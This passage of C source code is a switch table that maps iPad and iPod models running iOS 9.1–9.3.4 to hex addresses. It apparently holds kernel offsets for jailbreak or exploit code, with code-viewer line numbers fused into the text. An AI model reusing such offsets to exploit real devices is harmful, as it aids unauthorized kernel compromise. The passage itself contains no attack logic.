iPad24_iOS921: return 0x000bfd7c;2881case iPad24_iOS920: return 0x000bfd2c;2882case iPad24_iOS910: return 0x000c1340;2883/*case iPad24_iOS902: return 0x000c11d0;*/2884case iPad31_iOS934: return 0x000c085c;2885case iPad31_iOS933: return 0x000c085c;2886case iPad31_iOS932: return 0x000c08ec;2887case iPad31_iOS930: return 0x000c08dc;2888case iPad31_iOS921: return 0x000bfd7c;2889case iPad31_iOS920: return 0x000bfd2c;2890case iPad31_iOS910: return 0x000c1340;2891/*case iPad31_iOS902: return 0x000c11d0;*/2892case iPad32_iOS934: return 0x000c085c;2893case iPad32_iOS933: return 0x000c085c;2894case iPad32_iOS932: return 0x000c08ec;2895case iPad32_iOS930: return 0x000c08dc;2896case iPad32_iOS921: return 0x000bfd7c;2897case iPad32_iOS920: return 0x000bfd2c;2898case iPad32_iOS910: return 0x000c1340;2899/*case iPad32_iOS902: return 0x000c11d0;*/2900case iPad33_iOS934: return 0x000c085c;2901case iPad33_iOS933: return 0x000c085c;2902case iPad33_iOS932: return 0x000c08ec;2903case iPad33_iOS930: return 0x000c08dc;2904case iPad33_iOS921: return 0x000bfd7c;2905case iPad33_iOS920: return 0x000bfd2c;2906case iPad33_iOS910: return 0x000c1340;2907/*case iPad33_iOS902: return 0x000c11d0;*/2908case iPad34_iOS934: return 0x000c3e10;2909case iPad34_iOS933: return 0x000c3e10;2910case iPad34_iOS932: return 0x000c3c80;2911case iPad34_iOS930: return 0x000c3c90;2912case iPad34_iOS921: return 0x000c2ff0;2913case iPad34_iOS920: return 0x000c2fb0;2914case iPad34_iOS910: return 0x000c42c4;2915/*case iPad34_iOS902: return 0x000c4124;*/2916case iPad35_iOS934: return 0x000c3e10;2917case iPad35_iOS933: return 0x000c3e10;2918case iPad35_iOS932: return 0x000c3c80;2919case iPad35_iOS930: return 0x000c3c90;2920case iPad35_iOS921: return 0x000c2ff0;2921case iPad35_iOS920: return 0x000c2fb0;2922case iPad35_iOS910: return 0x000c42c4;2923/*case iPad35_iOS902: return 0x000c4124;*/2924case iPad36_iOS934: return 0x000c3e10;2925case iPad36_iOS933: return 0x000c3e10;2926case iPad36_iOS932: return 0x000c3c80;2927case iPad36_iOS930: return 0x000c3c90;2928case iPad36_iOS921: return 0x000c2ff0;2929case iPad36_iOS920: return 0x000c2fb0;2930case iPad36_iOS910: return 0x000c42c4;2931/*case iPad36_iOS902: return 0x000c4124;*/2932case iPod51_iOS934: return 0x000c085c;2933case iPod51_iOS933: return 0x000c085c;2934case iPod51_iOS932: return 0x000c08ec;2935case iPod51_iOS930: return 0x000c08dc;2936case iPod51_iOS921: return 0x000bfd7c;2937case iPod51_iOS920: return 0x000bfd2c;2938case iPod51_iOS910: return 0x000c1340;2939/*case iPod51_iOS902: return 0x000c11d0;*/2940default: return 0;2941}2942}2943294429452946